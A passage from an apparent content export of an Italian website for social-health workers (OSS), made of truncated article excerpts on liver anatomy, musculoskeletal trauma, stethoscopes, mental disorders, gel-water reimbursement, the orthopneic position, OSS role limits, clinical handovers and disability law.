sporca durante l'assistenza, sei tu a doverlo pulire/disinfettare subito, senza attendere l'intervento della cooperativa; Collaborazione alla sicurezza igienica: vigilare che l'ambiente del paziente resti pulito e segnalare al personale o alla ditta di pulizie eventuali carenze (es. pavimento sporco, bagno non sanificato). Si tratta quindi di pulizie strettamente legate all'assistenza sanitaria e all'igiene del malato, mai di interventi generici negli spazi comuni. Le cooperative di pulizie: la gestione degli ambienti A occuparsi invece della sanificazione generale delle strutture sono, nella maggior parte dei casi, le cooperative esterne. Queste squadre hanno il compito di pulire: corridoi e aree comuni; bagni condivisi non assegnati a singoli pazienti; sale operatorie e ambulatori... --- > Scopri il fegato: anatomia, funzioni vitali, ruolo nella digestione e anomalie più comuni. Un organo essenziale per salute e benessere. - Published: 2025-10-01 - Modified: 2025-10-01 - URL: https://ossinreparto.it/il-fegato-anatomia-funzioni-anomalie/ - Categorie: Anatomia Scopri il fegato: anatomia, funzioni vitali, ruolo nella digestione e anomalie più comuni. Un organo essenziale per salute e benessere. Il fegato è uno degli organi più straordinari del corpo umano. Non solo è fondamentale per la nostra sopravvivenza, ma svolge un'incredibile varietà di funzioni essenziali. Conosciuto come "il laboratorio del corpo", il fegato è coinvolto in processi vitali come la digestione, la disintossicazione e la regolazione dell'energia. Questo articolo ti guiderà alla scoperta di questo organo straordinario, spiegandone anatomia, funzionalità e le principali anomalie. Il fegato: struttura e funzioni vitali Il fegato è un organo vitale e multifunzionale situato nella parte superiore destra dell'addome, sotto il diaframma. Ha una consistenza morbida e un colore rosso-brunastro, grazie alla sua ricca vascolarizzazione. È il secondo organo più grande del corpo umano, dopo la pelle, e pesa circa 1,5 kg in un adulto sano. Anatomia del fegato: il nostro laboratorio interno Il fegato è un organo affascinante e complesso, fondamentale per il nostro benessere. È composto da diverse strutture che lavorano insieme in modo impeccabile, come una macchina ben oliata. Ogni parte del fegato ha una funzione precisa, che va dalla produzione di bile alla detossificazione del sangue, fino alla sintesi di proteine vitali. In questo viaggio attraverso la sua anatomia, esploreremo le sue principali componenti e come queste lavorano in sinergia per mantenere il corpo in salute. Il fegato non è solo un filtro, ma un vero e proprio centro di comando, dove ogni processo ha un ruolo essenziale nel nostro equilibrio vitale. Ora, facciamo una visita guidata alla sua struttura. Lobi principali: i "quartieri" del fegato l fegato è uno degli organi più importanti del corpo umano, essenziale per la digestione, il metabolismo e la detossificazione. Anatomicamente, è diviso in due grandi sezioni: il lobo destro e il lobo sinistro, che collaborano armoniosamente per svolgere le numerose funzioni vitali di questo organo. Lobo Destro: Il Cuore Pulsante del Fegato Il lobo destro è la porzione più grande del fegato, occupando gran parte della sua massa complessiva e posizionandosi principalmente sotto la gabbia toracica destra. Grazie alle sue dimensioni, ospita la maggior parte delle attività metaboliche e funzionali dell'organo, inclusa la produzione di bile, la regolazione dei livelli di glucosio e il metabolismo dei lipidi. Questa porzione del fegato è talmente attiva da essere considerata il vero "cuore pulsante" del sistema epatico. Lobo Sinistro: Piccolo, ma Fondamentale Nonostante le dimensioni inferiori rispetto al lobo destro, il lobo sinistro ha un ruolo cruciale per l'equilibrio complessivo del fegato. Situato più centralmente, si estende verso il lato sinistro del corpo. Il lobo sinistro è strettamente associato ad altre strutture anatomiche, come lo stomaco e il pancreas, con cui collabora per il metabolismo e la digestione. È indispensabile per mantenere la distribuzione uniforme delle funzioni epatiche e contribuisce alla detossificazione e al metabolismo dei farmaci e delle sostanze nocive. La bile: il fluido dorato del fegato La bile è un fluido biologico fondamentale prodotto dal fegato e immagazzinato nella cistifellea, con un ruolo centrale nei processi digestivi e nell'eliminazione di sostanze tossiche dall'organismo. Di colore variabile tra il giallo, il verde e il marrone,... --- > Scopri le cause, i sintomi e i trattamenti per i traumi dell'apparato locomotore, con consigli per prevenirli. - Published: 2025-09-15 - Modified: 2025-09-15 - URL: https://ossinreparto.it/traumi-apparato-locomotore-fratture-strappi-lussazioni/ - Categorie: Anatomia Scopri le cause, i sintomi e i trattamenti per i traumi dell'apparato locomotore, con consigli per prevenirli. Il nostro corpo, in continuo movimento, è costantemente esposto a forze che possono danneggiare l'apparato locomotore, un sistema complesso che comprende ossa, muscoli, tendini, legamenti e articolazioni. Ogni giorno, in attività ordinarie o in contesti sportivi, il nostro corpo è sottoposto a impatti, sollecitazioni e stress che, se eccessivi o mal gestiti, possono sfociare in veri e propri traumi. I traumi dell'apparato locomotore sono tra le lesioni più comuni e variano per tipo e gravità. Possono manifestarsi come fratture ossee, distorsioni articolari, strappi muscolari o lesioni ai legamenti. Questi infortuni, purtroppo, non riguardano solo gli atleti, ma colpiscono anche chi svolge attività quotidiane, come sollevare pesi, camminare su superfici irregolari o compiere movimenti bruschi. Il trattamento e la prevenzione di questi traumi sono essenziali per evitare danni permanenti e per garantire una pronta guarigione. Nel corso di questo articolo, esploreremo le principali tipologie di traumi che possono colpire l'apparato locomotore, analizzandone le cause, e i sintomi. Una comprensione approfondita di questi traumi può fare la differenza nel riconoscere i segnali di allarme e nel gestire correttamente il recupero, riducendo al minimo il rischio di complicazioni. Cos'è il trauma? Il termine "trauma" in ambito medico si riferisce a un danno fisico causato da una forza esterna che supera la capacità del corpo di adattarsi o assorbire tale energia. Il trauma è spesso associato a lesioni che riguardano l'apparato muscolo-scheletrico, come fratture, distorsioni, contusioni e lussazioni, che coinvolgono ossa, articolazioni, muscoli, tendini e legamenti. Questi traumi possono essere causati da incidenti, cadute, urti o sollecitazioni e, a seconda della gravità, possono variare da lesioni leggere e temporanee a danni gravi che richiedono interventi chirurgici o riabilitazione a lungo termine. Tipi di traumi all'apparato locomotore Nel corso di questo articolo esploreremo i principali traumatismi che possono interessare l'apparato osseo, muscolare e articolare, tre componenti fondamentali del nostro sistema locomotore. Questi traumatismi rappresentano una delle cause più comuni di infortunio in ambito sportivo, lavorativo e quotidiano, e comprendono un'ampia varietà di lesioni che variano per gravità e implicazioni terapeutiche. Inizieremo con l'analisi dei traumatismi dell'apparato osseo, focalizzandoci sulle fratture e altre lesioni ossee, esplorando i meccanismi di danno e le modalità di trattamento. Successivamente, ci concentreremo sui traumatismi dell'apparato muscolare, come strappi, distorsioni e contusioni, che coinvolgono i muscoli e i tendini, descrivendo le cause e le strategie di recupero. Infine, tratteremo i traumatismi dell'apparato articolare, che comprendono le lesioni a carico di legamenti, cartilagini e capsule articolari, con particolare attenzione alle lussazioni e alle distorsioni. Attraverso una comprensione approfondita di questi traumi, il nostro obiettivo sarà fornire una guida completa su come riconoscerli, diagnosticarli e affrontarli nel modo più efficace possibile. I primi organi a essere colpiti da un trauma dipendono molto dal tipo, dalla gravità e dalla localizzazione del trauma stesso. Tuttavia, ci sono alcuni distretti corporei particolarmente vulnerabili e che possono subire i primi danni: Cute e tessuti molli: in caso di impatto o trauma esterno, pelle, muscoli e tessuto sottocutaneo sono i primi ad assorbire l'urto. Si manifestano lividi, abrasioni,... --- > Scopri le differenze tra stetoscopio e fonendoscopio: guida essenziale per OSS su utilizzo, manutenzione e collaborazione con medici e infermieri. - Published: 2025-09-14 - Modified: 2025-09-14 - URL: https://ossinreparto.it/auscultazione-stetoscopio-fonendoscopio-differenze/ - Categorie: Assistenza alla Persona Le differenze tra stetoscopio e fonendoscopio: guida essenziale per OSS su utilizzo, manutenzione e collaborazione con medici e infermieri. Quando si parla di ascoltare i suoni del corpo - come il battito cardiaco o il respiro - vengono subito in mente due strumenti: lo stetoscopio e il fonendoscopio. Molti li confondono o li considerano sinonimi, ma in realtà esistono differenze tecniche e di utilizzo che è utile conoscere, soprattutto per chi lavora nel settore socio-sanitario, come gli OSS. Conoscerle significa capire meglio il linguaggio dei professionisti della salute e sentirsi più sicuri durante la collaborazione con infermieri e medici. Stetoscopio e fonendoscopio: cosa sono Molti usano i termini fonendo e stetoscopio come sinonimi, ma in realtà esistono differenze significative. Lo stetoscopio e il fonendoscopio sono strumenti fondamentali utilizzati per l'auscultazione, ovvero l'ascolto dei suoni interni del corpo, ma spesso vengono confusi o utilizzati come sinonimi. Lo stetoscopio: il classico della medicina Lo stetoscopio è lo strumento più conosciuto per l'auscultazione. Inventato all'inizio dell'Ottocento, consiste in una campana acustica collegata a tubi e a due olive auricolari. La campana rileva suoni a bassa frequenza come alcuni soffi cardiaci profondi o rumori intestinali. Lo stetoscopio tradizionale non amplifica artificialmente il suono, ma lo trasmette direttamente all'orecchio. Tra i modelli più apprezzati di stetoscopio troviamo lo stetoscopio Littmann, noto per l'elevata qualità acustica e il design ergonomico, che consente una migliore percezione dei suoni e un maggiore comfort durante l'uso prolungato. Il fonendoscopio: la versione evoluta Il fonendoscopio è una variante moderna dello stetoscopio acustico. Ha una membrana tesa che vibra con i suoni e li amplifica, in particolare quelli a media-alta frequenza, come toni polmonari o battiti cardiaci più acuti. Spesso presenta due facce: una a membrana e una a campana, offrendo più versatilità. Differenze tecniche e di utilizzo Capire le differenze tecniche e di utilizzo tra stetoscopio e fonendoscopio non è solo una curiosità per appassionati di medicina, ma un'informazione utile anche per chi lavora a stretto contatto con il personale sanitario. Ogni strumento, infatti, è progettato per rilevare tipi diversi di suoni corporei e offre caratteristiche specifiche che influenzano il comfort, la precisione e l'efficacia dell'auscultazione. Conoscere questi dettagli permette di comprendere perché, in certi contesti clinici, un medico possa preferire l'uno all'altro o usare modelli combinati, e aiuta l'OSS a interpretare meglio il lavoro degli altri professionisti. Stetoscopio tradizionale: eccelle nelle basse frequenze. Fonendoscopio: migliore nelle frequenze medie e alte. Questa differenza fa sì che, a seconda del tipo di visita o del paziente, un medico possa preferire l'uno o l'altro strumento, o utilizzare modelli combinati. Il fonendoscopio moderno è spesso progettato con materiali leggeri e tubi che riducono i rumori di disturbo. Alcuni modelli hanno membrane regolabili che permettono, con una semplice pressione, di passare dall'ascolto di suoni bassi a quelli più alti, senza dover cambiare lato. Competenze OSS nell'uso degli strumenti auscultatori Per un OSS non è necessario utilizzare direttamente stetoscopio o fonendoscopio per finalità diagnostiche, ma conoscerne la funzione aiuta a collaborare meglio con il personale infermieristico e medico. Ad esempio: Assistere durante la misurazione della pressione arteriosa con sfigmomanometro manuale. Supportare in attività di... --- - Published: 2025-09-13 - Modified: 2025-09-13 - URL: https://ossinreparto.it/disturbi-mentali-sintomi-cura-supporto/ - Categorie: Psicologia - Tag: Disturbi Mentali Scopri come riconoscere i segnali dei disturbi mentali, le strutture di cura disponibili e il ruolo fondamentale del supporto professionale quotidiano. Immaginiamo Marco, 32 anni, un giovane uomo che fino a poco tempo fa conduceva una vita "normale": lavoro in ufficio, amici, uscite serali. Poi, qualcosa è cambiato. Le giornate hanno iniziato a sembrare insostenibili, l'ansia lo paralizzava, il sonno non arrivava più e i pensieri negativi diventavano assillanti. Marco è uno dei tanti pazienti con disturbi mentali: persone comuni, che si trovano a combattere una battaglia invisibile. Parlare di disturbi mentali significa abbattere il muro di silenzio e pregiudizi che ancora li circonda. Significa capire che non si tratta di fragilità caratteriali, ma di condizioni cliniche che necessitano di ascolto, diagnosi e cura. Chi sono i pazienti con disturbi mentali Ogni paziente è prima di tutto una persona, con la propria storia, i propri sogni e le proprie paure. Marco, per esempio, non è "un depresso": è un giovane uomo che attraversa una fase della vita in cui il suo equilibrio emotivo è compromesso. Un disturbo mentale è una condizione che altera in modo significativo i processi della mente - come il pensiero, le emozioni, il comportamento e le capacità di relazione con gli altri. Non si tratta di semplici momenti di tristezza, stress o difficoltà temporanee, ma di una situazione che compromette il benessere psicologico e può rendere difficile affrontare la vita quotidiana. Tipologie di disturbi più comuni I disturbi mentali possono assumere forme diverse: Disturbi d'ansia: paura costante, attacchi di panico, tensione; Depressione: tristezza profonda, perdita di interesse e di energia; Disturbo bipolare: alternanza tra fasi di euforia e periodi di depressione; Schizofrenia: alterazioni del pensiero, percezioni distorte della realtà. I disturbi mentali non hanno una sola causa ma derivano da una combinazione di fattori: Biologici: squilibri chimici cerebrali, genetica, lesioni neurologiche; Psicologici: traumi infantili, esperienze negative, bassa autostima; Sociali: isolamento, povertà, discriminazione, stress lavorativo o familiare. Sintomi e segnali da non ignorare Riconoscere i campanelli d'allarme di un disturbo mentale è fondamentale per intervenire in tempo e prevenire un peggioramento della situazione. Spesso i primi segnali vengono sottovalutati o confusi con momenti di stress passeggeri, ma quando persistono o diventano troppo intensi possono indicare che qualcosa non va. Cambiamenti nel modo di pensare, nell'umore o nel comportamento quotidiano non devono mai essere ignorati, perché rappresentano il linguaggio attraverso cui la mente chiede aiuto. Riconoscere i segnali di un disturbo mentale non significa fare una diagnosi - compito che spetta al medico e agli specialisti - ma vuol dire prestare attenzione ai cambiamenti che la persona manifesta nella vita quotidiana. L'OSS, grazie alla sua vicinanza costante con il paziente, è una figura chiave nell'individuare questi segnali. I campanelli d'allarme possono essere: alterazioni del comportamento (agitazione, isolamento, gesti ripetitivi); cambiamenti dell'umore (tristezza persistente, irritabilità, euforia immotivata); difficoltà nel linguaggio e nel pensiero (discorsi confusi, idee fisse, risposte fuori contesto); alterazioni della percezione, come allucinazioni o illusioni, e quelle psicomotorie, che spaziano dall'iperattività all'eccessiva lentezza nei movimenti. Altri aspetti da non trascurare sono il sonno e l'alimentazione: insonnia, ipersonnia, rifiuto del cibo o fame compulsiva possono essere indicatori significativi. Infine,... --- > L'acqua gel viene fornita dall'ASL, ma dipende dai casi: criteri di rimborso, patologie riconosciute e iter per ottenere la prescrizione. - Published: 2025-09-13 - Modified: 2025-09-13 - URL: https://ossinreparto.it/acqua-gel-asl-prescrizione-rimborso/ - Categorie: Assistenza alla Persona L'acqua gel viene fornita dall'ASL, ma dipende dai casi: criteri di rimborso, patologie riconosciute e iter per ottenere la prescrizione. Negli ultimi anni l'acqua Gel - spesso indicata come integratore idrico a supporto di specifiche patologie - è entrata sempre più nella quotidianità di chi deve seguire diete controllate o soffre di disturbi che richiedono un apporto costante di liquidi. Non si tratta di una semplice acqua aromatizzata, ma di un prodotto pensato per chi, per ragioni cliniche, necessita di idratazione mirata. Su questo tema, la redazione aveva già affrontato l'argomento in un approfondimento dedicato ai benefici e alle modalità d'uso dell'acqua Gel. Oggi, però, il punto centrale è un altro: molti lettori chiedono se l'ASL copre i costi di acquisto di acqua Gel e quali siano i criteri per ottenerla attraverso il Servizio sanitario nazionale. Acqua Gel: la passa l'ASL? La domanda è legittima: acqua Gel non è un prodotto da banco qualunque, ma rientra nella categoria degli alimenti a fini medici speciali. Questo significa che, in determinate condizioni cliniche, può essere prescritta dal medico e rimborsata dall'ASL. Tuttavia, la copertura non è automatica. Il Servizio sanitario nazionale riconosce la gratuità o il rimborso solo se l'acqua Gel è destinata a pazienti affetti da patologie che limitano l'assunzione di liquidi in forma tradizionale, come disfagia, disturbi neurologici, complicanze post-operatorie o condizioni che comportano elevato rischio di disidratazione. La prescrizione avviene tramite il medico specialista o, in alcuni casi, dal medico di base, ma sempre con documentazione clinica che attesti la necessità. È importante sottolineare che le regole variano da regione a regione: in alcune ASL il rimborso è totale, in altre parziale, e spesso i pazienti devono rivolgersi a farmacie convenzionate o punti di distribuzione ospedaliera. L'iter burocratico può includere la compilazione di moduli specifici e controlli periodici per verificare l'effettiva aderenza al piano terapeutico. Un ulteriore nodo riguarda la durata della prescrizione: in molti casi, l'acqua Gel viene autorizzata per cicli trimestrali o semestrali, rinnovabili con nuova valutazione medica. In questo modo, il sistema sanitario cerca di garantire l'accesso a chi ne ha reale bisogno, evitando abusi. Acqua gel: quanti vasetti può prescrivere l'ASL? Il numero di vasetti di acqua gel che l'ASL "passa" dipende da regione, delibere locali, gravità della disfagia, diagnosi specifica e piano terapeutico individuale. Se la prescrizione è quotidiana - come nei casi più gravi o con disfagia marcata - l'ASL può autorizzare fino a 8 vasetti al giorno per il paziente. Su base mensile, questo può tradursi fino a ~240-250 vasetti al mese se il consumo fosse quotidiano e massimo. Però raramente il piano terapeutico prevede questo livello massimo ogni singolo giorno per un intero mese, perché dipende da peso, condizioni cliniche, grado di disfagia, altre terapie, ecc. Spesso la prescrizione è definita su base trimestrale (3 mesi), con rinnovi periodici, oppure su base mensile. In Lazio il riferimento ai 8 barattoli/die per un trimestre indica che l'ASL calcola un fabbisogno continuo, ma spesso con limiti verificati o controllati. Cosa fare per ottenere acqua Gel dall'ASL Chi necessita di acqua Gel e desidera usufruire della copertura del Servizio sanitario deve seguire alcuni passaggi:... --- > La posizione ortopnoica favorisce la respirazione, allevia dispnea e affaticamento; usata in casi di insufficienza cardiaca o polmonare. - Published: 2025-09-10 - Modified: 2025-09-10 - URL: https://ossinreparto.it/posizione-ortopnoica/ - Categorie: Assistenza alla Persona - Tag: Guide OSS La posizione ortopnoica aiuta chi fatica a respirare: il paziente si siede con il busto dritto e leggermente inclinato in avanti, appoggiando le braccia su un supporto. Quando una persona fatica a respirare, ogni gesto diventa difficile. In questi momenti, una semplice postura può fare la differenza: la posizione ortopnoica. Questa tecnica, spesso utilizzata in ospedale ma utile anche a casa, permette di ridurre la dispnea (difficoltà respiratoria) e migliorare l'apporto di ossigeno. È particolarmente importante per chi soffre di BPCO (broncopneumopatia cronica ostruttiva), asma, insufficienza cardiaca o altre patologie respiratorie croniche. Per gli OSS (operatori socio-sanitari) e i caregiver, conoscerla significa avere uno strumento semplice ed efficace per aiutare chi è in difficoltà. Cos'è la posizione ortopnoica e quando si utilizza La posizione ortopnoica è una postura semplice ma di grande utilità per chi ha difficoltà a respirare. Consiste nel far sedere la persona con il busto eretto e leggermente inclinato in avanti, spesso appoggiata su un tavolo o su un cuscino, in modo da facilitare il lavoro dei polmoni e del diaframma. Non è un trattamento medico vero e proprio, ma un supporto immediato che può dare sollievo in caso di: dispnea acuta; crisi di asma bronchiale; episodi di insufficienza respiratoria; peggioramento di malattie come BPCO o enfisema polmonare; scompenso cardiaco con edema polmonare. I benefici della posizione ortopnoica La posizione ortopnoica non è una cura, ma un intervento di supporto che può offrire numerosi vantaggi immediati a chi ha difficoltà respiratorie. I suoi benefici riguardano non solo il corpo, ma anche il benessere psicologico della persona assistita. Migliora la respirazione In questa postura, il diaframma lavora con meno ostacoli e i polmoni hanno più spazio per espandersi. Il risultato è un respiro più profondo e meno faticoso, che aumenta l'apporto di ossigeno all'organismo. Per chi soffre di dispnea o crisi asmatiche, questo effetto può fare una differenza immediata. Riduce lo sforzo fisico Chi fatica a respirare spesso coinvolge i muscoli del collo e delle spalle per compensare. La posizione ortopnoica permette di scaricare parte di questo lavoro, alleggerendo lo sforzo muscolare e riducendo la sensazione di affaticamento. Favorisce una migliore ossigenazione Con una respirazione più efficiente, il sangue riceve un quantitativo maggiore di ossigeno. Ciò contribuisce a ridurre la cianosi (colorazione bluastra della pelle dovuta alla mancanza di ossigeno) e a migliorare il comfort generale del paziente. Offre sollievo psicologico La difficoltà a respirare è spesso accompagnata da ansia, paura e senso di soffocamento. Ottenere rapidamente un po' di sollievo grazie a questa postura rassicura il paziente, favorisce il rilassamento e riduce lo stress emotivo. Facilita le cure e l'assistenza Per medici, infermieri e OSS, la posizione ortopnoica rende più semplice eseguire valutazioni cliniche e interventi terapeutici, perché il paziente riesce a collaborare meglio quando respira con meno fatica. Procedura pratica e consigli per OSS e caregiver Prendere correttamente la posizione ortopnoica può sembrare un gesto spontaneo, ma in realtà richiede attenzione e piccoli accorgimenti per essere davvero efficace e sicura. Gli operatori socio-sanitari (OSS) e i caregiver svolgono un ruolo fondamentale nell'accompagnare il paziente, assicurandosi che la postura venga mantenuta in modo confortevole e senza rischi. Conoscere i passaggi pratici e le varianti... --- > Scopri cosa non può fare l'OSS: farmaci, flebo, cateteri, medicazioni complesse e interventi. Tutti i limiti definiti dalla legge italiana. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/cosa-non-puo-fare-operatore-socio-sanitario/ - Categorie: Diventare OSS - Tag: Lavorare come OSS Scopri cosa non può fare l'OSS: farmaci, flebo, cateteri, medicazioni complesse e interventi. Tutti i limiti definiti dalla legge italiana. L'Operatore Socio-Sanitario (OSS) è una figura fondamentale nel sistema sanitario e assistenziale, ma non tutti sanno quali siano i suoi limiti professionali. In molte strutture sanitarie, dalla RSA agli ospedali, l'OSS svolge compiti essenziali per il benessere dei pazienti, ma non ha competenze in tutte le aree. Conoscere cosa non compete all'OSS è importante sia per i professionisti del settore che per i familiari degli assistiti, affinché possano avere aspettative realistiche riguardo ai servizi ricevuti. In questo articolo esploreremo in dettaglio quali sono i compiti che non spettano a questa figura, per fare chiarezza su un ruolo che, pur essendo fondamentale, ha delle precise delimitazioni legali e operative. Cosa può (e non può) fare davvero un OSS Nella frenesia delle corsie ospedaliere e nei turni incessanti delle piccole cooperative, accade sempre più spesso di assistere a una confusione pericolosa: Operatori Socio Sanitari coinvolti in procedure che esulano dalle loro competenze, a volte per necessità, altre per mancanza di chiarezza formativa o organizzativa. Troppi OSS si trovano a svolgere mansioni da infermiere, mettendo a rischio sé stessi e la salute del paziente, senza magari nemmeno rendersene conto. Il confine tra ciò che è lecito e ciò che non lo è appare sottile, ma in realtà è netto e ben definito. Questo articolo non nasce per giudicare o discriminare, ma per il contrario: è una voce a difesa della figura dell'OSS, pensata per chi studia o lavora già in questo settore. Un invito a informarsi, a chiedere, a dire "no" quando serve, perché conoscere i propri limiti è la prima forma di tutela professionale e personale. Per questo, abbiamo raccolto in modo chiaro e sintetico tutto ciò che non rientra nelle competenze dell'OSS, sulla base delle normative e della prassi operativa, per aiutarti a lavorare con consapevolezza e sicurezza L'OSS e i farmaci Una delle confusioni più comuni riguarda la somministrazione di farmaci. Gli OSS non sono autorizzati a somministrare farmaci ai pazienti, né a modificare le dosi prescritte dai medici. Sebbene possano aiutare i pazienti a prendere le medicine, devono semplicemente verificare che siano state assunte correttamente, senza intervenire direttamente sul trattamento. Durante la mia esperienza professionale, mi è capitato, purtroppo, di conoscere colleghi che lavoravano in RSA (Residenze Sanitarie Assistenziali) gestite da cooperative. In questi contesti, alcuni di loro hanno raccontato che, già dalla seconda settimana di assunzione, veniva chiesto loro di somministrare farmaci o psicofarmaci ai pazienti. Purtroppo, molti operatori si trovano in una condizione di forte pressione: non possono rifiutarsi di somministrare i medicinali, anche se non ne hanno titolo o adeguata preparazione, per paura di perdere il posto di lavoro. Queste pratiche scorrette sono diffuse in molte realtà del settore ed è fondamentale sottolineare che si tratta di situazioni inaccettabili, che mettono a rischio sia la sicurezza dei pazienti sia la dignità dei lavoratori. Cure infermieristiche avanzate Le cure infermieristiche, come le medicazioni complesse, la gestione di cateteri o la somministrazione di iniezioni, sono riservate esclusivamente agli infermieri. Tuttavia, anche l'Operatore Socio Sanitario (OSS) ha un ruolo... --- > Guida alle consegne cliniche tra professionisti sanitari: metodi SBAR e RSVP, errori da evitare e strategie per una care continuity sicura. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/consegne-cliniche-passaggio-delle-consegne/ - Categorie: Organizzazione Socio-Sanitaria Guida alle consegne cliniche tra professionisti sanitari: metodi SBAR e RSVP, errori da evitare e strategie per una care continuity sicura. Le consegne cliniche sono un momento importante nella gestione delle informazioni tra i professionisti sanitari. Un passaggio di dati tra operatori è fondamentale per garantire la continuità dell'assistenza, ridurre il rischio di errori e migliorare la qualità del trattamento. ù Questo articolo esplora le best practices per ottimizzare il flusso delle informazioni durante le consegne cliniche, enfatizzando l'importanza della chiarezza, della precisione e della collaborazione tra i membri del team sanitario. Scopriremo come strategie ben strutturate possano fare la differenza nella sicurezza del paziente e nell'efficienza delle cure. Definizione delle consegne cliniche Le consegne, o consegne cliniche, sono il processo attraverso cui gli operatori sanitari, inclusi gli OSS (Operatori Socio-Sanitari), trasferiscono informazioni essenziali relative allo stato di salute, alle esigenze assistenziali e ai piani di cura dei pazienti. Questo avviene, in genere, durante il cambio turno o quando la responsabilità del paziente passa da un professionista a un altro. Le consegne sono un elemento fondamentale per garantire la continuità assistenziale, ridurre il rischio di errori e mantenere uno standard elevato di cura. Possono essere scambiate in forma verbale, scritta o digitale, e sono guidate da metodologie e strumenti specifici, come il metodo SBAR o RSVP, per assicurare la chiarezza e la completezza delle informazioni. Caratteristiche principali delle consegne Una consegna clinica deve essere innanzitutto completa, includendo tutte le informazioni essenziali sul paziente: diagnosi, terapie in corso, parametri vitali e osservazioni rilevanti. Questi dati permettono al personale subentrante di avere una visione chiara della situazione e di pianificare gli interventi necessari. La chiarezza è altrettanto importante. Le informazioni devono essere trasmesse in modo semplice e comprensibile, evitando ambiguità o tecnicismi inutili. Una comunicazione precisa e diretta riduce il rischio di errori e favorisce la comprensione immediata. Un'altra caratteristica essenziale è la strutturazione: la consegna deve seguire un ordine logico che faciliti l'organizzazione mentale e la memorizzazione delle informazioni. Metodi come l'SBAR (Situation, Background, Assessment, Recommendation) possono essere utili per mantenere un flusso coerente e focalizzato. Oltre a questi aspetti, è fondamentale che la consegna sia sintetica, fornendo solo le informazioni necessarie, senza dilungarsi su dettagli irrilevanti. Questo consente di ottimizzare il tempo, mantenendo alta l'attenzione di chi ascolta. Infine, deve essere garantita la bidirezionalità: chi riceve la consegna deve avere la possibilità di fare domande o chiedere chiarimenti. Questo scambio attivo favorisce una comprensione condivisa e minimizza le possibilità di fraintendimenti. Origini storiche delle consegne Non esiste una data precisa di "nascita" delle consegne in ambito sanitario, ma il concetto si è evoluto parallelamente allo sviluppo delle professioni sanitarie e alla necessità di garantire continuità assistenziale. Antichità e Medioevo: Nei primi ospedali e monasteri dove veniva praticata assistenza sanitaria, il passaggio di informazioni era principalmente verbale e legato all'esperienza diretta degli operatori (spesso monaci o suore). Non esistevano metodi formali di trasmissione delle informazioni. Rivoluzione industriale (XVIII-XIX secolo): Con l'aumento delle strutture sanitarie e l'organizzazione dei primi ospedali moderni, si è resa necessaria una migliore gestione delle informazioni per evitare errori, dato il coinvolgimento di più figure assistenziali. XX secolo: Con... --- > Scopri cos'è la disabilità secondo l'OMS, cosa prevede la Legge 104 e il ruolo dell'OSS nel supporto alla persona e nell'inclusione sociale. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/disabilita-legge-104-diritti-inclusione/ - Categorie: Assistenza alla Persona Scopri cos'è la disabilità secondo l'OMS, cosa prevede la Legge 104 e il ruolo dell'OSS nel supporto alla persona e nell'inclusione sociale. La disabilità è una condizione che può manifestarsi in vari modi, e la sua gestione richiede un impegno collettivo che coinvolge la società, le istituzioni e i professionisti del settore sanitario e sociale. La Legge 104, una pietra miliare nel nostro ordinamento giuridico, ha lo scopo di garantire a chi vive con una disabilità i diritti fondamentali per una vita dignitosa. Ma come si articola questa legge, e quale ruolo svolgono gli operatori socio-sanitari (OSS) nel processo di assistenza? Questo articolo cercherà di chiarire questi aspetti, analizzando l'importanza della Legge 104 e il contributo cruciale degli OSS nel supporto alle persone disabili. Cos'è la disabilità Secondo l'OMS (Organizzazione Mondiale della Sanità), i concetti di menomazione, disabilità e handicap sono distinti e fanno parte della Classificazione Internazionale delle Menomazioni, delle Disabilità e degli Handicap (ICIDH, 1980). Ecco la differenza: Menomazione: è qualsiasi perdita o anomalia di una struttura o funzione psicologica, fisiologica o anatomica (es. perdita di un arto, cecità, sordità); Disabilità: è la conseguenza della menomazione ed è una riduzione della capacità di svolgere un'attività nei modi o nei limiti considerati normali (es. difficoltà a camminare dopo un'amputazione); Handicap: è lo svantaggio sociale derivante dalla disabilità, che impedisce alla persona di avere un ruolo adeguato nella società (es. difficoltà a trovare lavoro o a partecipare ad attività sociali). Nel 2001, l'OMS ha aggiornato questa visione con la Classificazione Internazionale del Funzionamento, della Disabilità e della Salute (ICF), che considera la disabilità come il risultato dell'interazione tra la persona e il contesto in cui vive. Classificazione della Disabilità La classificazione della disabilità segue il modello definito dall'Organizzazione Mondiale della Sanità (OMS) attraverso la Classificazione Internazionale del Funzionamento, della Disabilità e della Salute (ICF, 2001). Questa classificazione considera la disabilità come il risultato dell'interazione tra condizioni di salute e fattori ambientali e personali. L'ICF distingue tre principali dimensioni della disabilità: Menomazione: Riguarda alterazioni a livello corporeo (organi, arti, funzioni fisiologiche). Esempi: amputazione, paraplegia, sordità, cecità, insufficienza cardiaca. Limitazione dell'attività: Impedisce o riduce la capacità di una persona di svolgere attività quotidiane. Esempi: difficoltà a camminare, a parlare, a scrivere, a vestirsi autonomamente. Restrizione della partecipazione: Riguarda gli ostacoli alla piena partecipazione nella vita sociale, lavorativa ed educativa. Esempi: difficoltà a trovare lavoro, a frequentare la scuola, a partecipare a eventi sociali. Chi sono i soggetti affetti da disabilità? Le persone con disabilità possono appartenere a diverse categorie, in base all'origine della condizione: Disabilità congenita: presente dalla nascita (es. sindrome di Down, paralisi cerebrale infantile). Disabilità acquisita: derivante da malattie o traumi (es. ictus, lesioni spinali, amputazioni, sclerosi multipla). Disabilità sensoriale: perdita parziale o totale di uno dei sensi (es. cecità, sordità). Disabilità intellettiva e cognitiva: deficit nello sviluppo delle capacità cognitive e dell'apprendimento (es. autismo, ritardo mentale). Disabilità psichica: disturbi che influenzano il comportamento e le capacità relazionali (es. schizofrenia, disturbo bipolare). L'ICF riconosce che la disabilità non è solo una caratteristica individuale, ma dipende anche da barriere ambientali e sociali, che possono aggravare o ridurre le limitazioni di una persona. Contesti... --- > Scopri come organizzare il carrello dell'igiene OSS e gestire correttamente i rifiuti: guida completa con regole, sicurezza e materiali essenziali. - Published: 2025-07-31 - Modified: 2025-07-31 - URL: https://ossinreparto.it/organizzazione-carrello-igiene/ - Categorie: Organizzazione Socio-Sanitaria Scopri come organizzare il carrello dell'igiene OSS e gestire correttamente i rifiuti: guida completa con regole, sicurezza e materiali essenziali. Nel mondo dell'assistenza sanitaria, il carrello per l'igiene e la gestione del sacchetto dei rifiuti rivestono un ruolo essenziale. Questi strumenti contribuiscono alla prevenzione delle infezioni e al mantenimento di un ambiente salubre. Un carrello ben organizzato e una gestione attenta dei rifiuti sono aspetti fondamentali per il 